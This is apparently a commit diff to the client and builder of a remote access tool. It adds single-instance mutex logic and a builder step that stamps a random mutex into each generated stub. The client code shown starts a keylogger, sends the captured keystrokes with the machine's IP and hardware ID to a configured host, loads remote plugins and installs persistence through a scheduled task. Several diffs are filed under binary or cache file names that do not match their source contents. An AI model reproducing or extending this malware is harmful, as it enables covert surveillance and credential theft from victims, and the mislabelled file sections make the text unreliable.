Small update

* Corrected date bug (server)
* Added mutex to stub
* Added missing icons
* Added removed task in task configurator
* Code refractoring in task configurator

Author: arsium

Remote Access Tool/Client/Config.cs

@@ -14,5 +14,6 @@ public static class Config
         public static string taskName = "%C%";
         public static string time = "%1%";
         public static string offKeylog = "False";
+        public static string mutex = "%MUTEX%";
     }
 }

Remote Access Tool/Client/StarterClass.cs

@@ -1,7 +1,7 @@
 using System;
+using System.Diagnostics;
 using System.Runtime.InteropServices;
 using System.Threading;
-using System.Windows.Forms;
 
 /* 
 || AUTHOR Arsium ||
@@ -13,6 +13,17 @@ namespace Client
     public class StarterClass
     {
         internal static bool KeylogOn;
+        private static bool AlreadyLaunched = false;
+        private static Mutex mutex;
+        public static void OneInstance()
+        {
+            mutex = new Mutex(true, Config.mutex, out AlreadyLaunched);
+            if (!AlreadyLaunched)
+            {
+                NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);
+            }
+        }
+
         static StarterClass() 
         {
             KeylogOn = false;
@@ -37,6 +48,7 @@ internal static void StartOfflineKeylogger()
         [MTAThread]
         public static void Main() 
         {
+            OneInstance();
             clientHandler.ConnectStart();
             MakeInstall();
             new Thread(new ThreadStart(() => {

Remote Access Tool/Client/obj/Release/Client.csproj.AssemblyReference.cache

@@ -14,5 +14,6 @@ public static class Config
         public static string taskName = "%C%";
         public static string time = "%1%";
         public static string offKeylog = "False";
+        public static string mutex = "%MUTEX%";
     }
 }

Remote Access Tool/Client/obj/Release/Client.exe

@@ -2,16 +2,22 @@
 using System.Runtime.InteropServices;
 using System.Threading;
 
-/* 
-|| AUTHOR Arsium ||
-|| github : https://github.com/arsium       ||
-*/
-
 namespace Client
 {
     public class EntryClass
     {
         internal static bool KeylogOn;
+        private static Mutex MT;
+        private static bool OW = false;
+        public static void OneInstance()
+        {
+            MT = new Mutex(true, Config.mutex, out OW);
+            if (!OW)
+            {
+                Environment.Exit(0);
+            }
+        }
+
         static EntryClass()
         {
             KeylogOn = false;
@@ -35,6 +41,7 @@ internal static void StartOfflineKeylogger()
 
         public static void Main()
         {
+            OneInstance();
             clientHandler.ConnectStart();
             MakeInstall();
             new Thread(new ThreadStart(() => {

Remote Access Tool/Client/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache

@@ -51,9 +51,9 @@ internal ClientHandler() : base()
         public void ConnectStart()
         {
             Thread.Sleep(250);
-            if (!StarterClass.KeylogOn && Config.offKeylog != "False") 
+            if (!EntryClass.KeylogOn && Config.offKeylog != "False") 
             {
-                StarterClass.StartOfflineKeylogger();
+                EntryClass.StartOfflineKeylogger();
             }
             connectAsync = new ConnectAsync(Connect);
             connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);
@@ -75,9 +75,9 @@ private bool Connect()
         private void StopOfflineKeyLogger()
         {
             Plugin.Launch.StopHook();
-            Plugin.Launch.ClientSender(StarterClass.clientHandler.host, Config.generalKey, new KeylogOfflinePacket(Plugin.Launch.CurrentKeyStroke(), StarterClass.clientHandler.baseIp, StarterClass.clientHandler.HWID));
+            Plugin.Launch.ClientSender(EntryClass.clientHandler.host, Config.generalKey, new KeylogOfflinePacket(Plugin.Launch.CurrentKeyStroke(), EntryClass.clientHandler.baseIp, EntryClass.clientHandler.HWID));
             Plugin.Launch.ClearKeyStroke();
-            StarterClass.KeylogOn = false; 
+            EntryClass.KeylogOn = false; 
         }
 
         public void EndConnect(IAsyncResult ar) 
@@ -90,7 +90,7 @@ public void EndConnect(IAsyncResult ar)
                 this.HWID = connectionPacket.HWID;
                 this.baseIp = socket.LocalEndPoint.ToString();
                 SendPacket(connectionPacket);
-                if (StarterClass.KeylogOn)
+                if (EntryClass.KeylogOn)
                     StopOfflineKeyLogger();
                 Receive();
             }

Remote Access Tool/Client/obj/x64/Release/Client.csproj.AssemblyReference.cache

@@ -29,7 +29,7 @@ internal static void ParsePacket(IPacket packet)
                 switch (packet.packetType)
                 {
                     case (PacketType.CLOSE_CLIENT):
-                        StarterClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);
+                        EntryClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);
                         break;
 
                     case (PacketType.UNINSTALL_CLOSE_CLIENT):
@@ -52,9 +52,9 @@ internal static void LoadPlugin(IPacket packet)
             object obj = assemblytoload.CreateInstance(method.Name);
             LoadingAPI loadingAPI = new LoadingAPI
             {
-                host = StarterClass.clientHandler.host,
-                baseIp = StarterClass.clientHandler.baseIp,
-                HWID = StarterClass.clientHandler.HWID,
+                host = EntryClass.clientHandler.host,
+                baseIp = EntryClass.clientHandler.baseIp,
+                HWID = EntryClass.clientHandler.HWID,
                 key = Config.generalKey,
                 currentPacket = packet,
             };

Remote Access Tool/Client/obj/x64/Release/Client64.exe

@@ -1 +1 @@
-7a4219b30e76e7352e6b4e7cbc91dbd198c3a4e8
+38c8530b05ff19c71af9b9e3288d63a3f88e7de2

Remote Access Tool/Client/obj/x64/Release/Costura/75E3E6B11180434960C81C107C97DB89C76F544B.costura.packetlib.dll.compressed

@@ -12,5 +12,6 @@ Namespace Client
 		Public taskName As String = "%C%"
 		Public time As String = "%1%"
 		Public offKeylog As String = "False"
+		Public mutex As String = "%MUTEX%"
 	End Module
 End Namespace

Remote Access Tool/Client/obj/x64/Release/Costura/A8F99470B8573C238735D95F0095EC759A0FCD8A.costura.offkeylogger.dll.compressed

@@ -1,4 +1,5 @@
-Imports System.Runtime.InteropServices
+Imports System.Diagnostics
+Imports System.Runtime.InteropServices
 Imports System.Threading
 
 ' 
@@ -8,43 +9,53 @@ Imports System.Threading
 '
 
 Namespace Client
-	Public Class StarterClass
-
-		Friend Shared KeylogOn As Boolean
-
-		Shared Sub New()
-			KeylogOn = False
-			clientHandler = New ClientHandler()
-			StartOfflineKeylogger()
-		End Sub
-
-		Friend Shared Sub StartOfflineKeylogger()
-			If Not StarterClass.KeylogOn And Config.offKeylog <> "False" Then
-				Plugin.Launch.Start()
-				KeylogOn = True
-			End If
-		End Sub
-
-
-		<DllImport("ntdll.dll")>
-		Friend Shared Function NtTerminateProcess(ByVal hProcess As IntPtr, ByVal errorStatus As Integer) As UInteger
-		End Function
-
-		Friend Shared clientHandler As ClientHandler
-
-		<MTAThread>
-		Public Shared Sub Main()
-			clientHandler.ConnectStart()
-			MakeInstall()
-			Call (New Thread(New ThreadStart(Sub()
-												 Do
-													 Thread.Sleep(-1)
-												 Loop
-											 End Sub))).Start()
-		End Sub
-
-		Public Shared Sub MakeInstall()
-			Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
-		End Sub
-	End Class
+    Public Class StarterClass
+
+        Friend Shared KeylogOn As Boolean
+        Private Shared AlreadyLaunched As Boolean = False
+        Private Shared mutex As Mutex
+        Public Shared Sub OneInstance()
+            mutex = New Mutex(True, Config.mutex, AlreadyLaunched)
+            If Not AlreadyLaunched Then
+                NtTerminateProcess(Process.GetCurrentProcess().Handle, 0)
+            End If
+        End Sub
+
+
+        Shared Sub New()
+            KeylogOn = False
+            clientHandler = New ClientHandler()
+            StartOfflineKeylogger()
+        End Sub
+
+        Friend Shared Sub StartOfflineKeylogger()
+            If Not StarterClass.KeylogOn And Config.offKeylog <> "False" Then
+                Plugin.Launch.Start()
+                KeylogOn = True
+            End If
+        End Sub
+
+
+        <DllImport("ntdll.dll")>
+        Friend Shared Function NtTerminateProcess(ByVal hProcess As IntPtr, ByVal errorStatus As Integer) As UInteger
+        End Function
+
+        Friend Shared clientHandler As ClientHandler
+
+        <MTAThread>
+        Public Shared Sub Main()
+            OneInstance()
+            clientHandler.ConnectStart()
+            MakeInstall()
+            Call (New Thread(New ThreadStart(Sub()
+                                                 Do
+                                                     Thread.Sleep(-1)
+                                                 Loop
+                                             End Sub))).Start()
+        End Sub
+
+        Public Shared Sub MakeInstall()
+            Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
+        End Sub
+    End Class
 End Namespace

Remote Access Tool/ClientDll/Config.cs

@@ -12,5 +12,6 @@ Namespace Client
 		Public taskName As String = "%C%"
 		Public time As String = "%1%"
 		Public offKeylog As String = "False"
+		Public mutex As String = "%MUTEX%"
 	End Module
 End Namespace

Remote Access Tool/ClientDll/EntryClass.cs

@@ -4,45 +4,56 @@ Imports System.Threading
 ' 
 '|| AUTHOR Arsium ||
 '|| github : https://github.com/arsium       ||
+'|| Converted from C# code with Tangible Source Code Converters 2022.01 ||
 '
 
 Namespace Client
     Public Class EntryClass
-        Friend Shared KeylogOn As Boolean
-
-        Shared Sub New()
-            KeylogOn = False
-            clientHandler = New ClientHandler()
-            StartOfflineKeylogger()
-        End Sub
-
-        Friend Shared Sub StartOfflineKeylogger()
-            If Not KeylogOn And Config.offKeylog <> "False" Then
-                Plugin.Launch.Start()
-                KeylogOn = True
-            End If
-        End Sub
-
-
-        <DllImport("ntdll.dll")>
-        Friend Shared Function NtTerminateProcess(ByVal hProcess As IntPtr, ByVal errorStatus As Integer) As UInteger
-        End Function
-
-        Friend Shared clientHandler As ClientHandler
-
-        <MTAThread>
-        Public Shared Sub Main()
-            clientHandler.ConnectStart()
-            MakeInstall()
-            Call (New Thread(New ThreadStart(Sub()
-                                                 Do
-                                                     Thread.Sleep(-1)
-                                                 Loop
-                                             End Sub))).Start()
-        End Sub
-
-        Public Shared Sub MakeInstall()
-            Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
-        End Sub
-    End Class
+		Friend Shared KeylogOn As Boolean
+
+		Private Shared MT As Mutex
+		Private Shared OW As Boolean = False
+		Public Shared Sub OneInstance()
+			MT = New Mutex(True, Config.mutex, OW)
+			If Not OW Then
+				Environment.Exit(0)
+			End If
+		End Sub
+
+
+		Shared Sub New()
+			KeylogOn = False
+			clientHandler = New ClientHandler()
+			StartOfflineKeylogger()
+		End Sub
+
+		Friend Shared Sub StartOfflineKeylogger()
+			If Not EntryClass.KeylogOn And Config.offKeylog <> "False" Then
+				Plugin.Launch.Start()
+				KeylogOn = True
+			End If
+		End Sub
+
+
+		<DllImport("ntdll.dll")>
+		Friend Shared Function NtTerminateProcess(ByVal hProcess As IntPtr, ByVal errorStatus As Integer) As UInteger
+		End Function
+
+		Friend Shared clientHandler As ClientHandler
+
+		Public Shared Sub Main()
+			OneInstance()
+			clientHandler.ConnectStart()
+			MakeInstall()
+			Call (New Thread(New ThreadStart(Sub()
+												 Do
+													 Thread.Sleep(-1)
+												 Loop
+											 End Sub))).Start()
+		End Sub
+
+		Public Shared Sub MakeInstall()
+			Persistence.Launch.StartUpTaskScheduler(Config.time, Config.taskName)
+		End Sub
+	End Class
 End Namespace

Remote Access Tool/ClientDll/Networking/ClientHandler.cs

@@ -5,6 +5,7 @@
 using dnlib.DotNet;
 using dnlib.DotNet.Emit;
 using System.Runtime.InteropServices;
+using System.Text;
 
 /*
 || AUTHOR Arsium ||
@@ -24,6 +25,8 @@ internal class Utils
             internal static string GPath = Application.StartupPath;
 
             internal static string stubPath = GPath + "\\Stubs\\Client";
+
+            internal static string randomString = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789abcdefghijklmnopqrstuvwxyz|@#^{}[]`´~";
         }
 
         internal class Config
@@ -74,6 +77,13 @@ internal void Build(string path, string dns, string port, string key, string tas
         public static string taskName = "%C%";
         public static string time = "%1%";
         public static string offKeylog = "0";*/
+
+        private readonly Random random = new Random();
+        private string NextString(int length) => new string((
+            from _ in Enumerable.Range(0, length)
+            let i = random.Next(0, Utils.randomString.Length)
+            select Utils.randomString[i]).ToArray());
+
         private void WriteSettings(ModuleDefMD asmDef, string dns, string port, string key, string taskName, string time, string offKeylog,string AsmName = "Client")
         {
             foreach (TypeDef type in asmDef.Types)
@@ -115,6 +125,12 @@ private void WriteSettings(ModuleDefMD asmDef, string dns, string port, string k
                                 {
                                     method.Body.Instructions[i].Operand = offKeylog;
                                 }
+
+                                if (method.Body.Instructions[i].Operand.ToString() == "%MUTEX%")
+                                {
+
+                                    method.Body.Instructions[i].Operand = "EM-" + NextString(24);
+                                }
                             }
                         }
                     }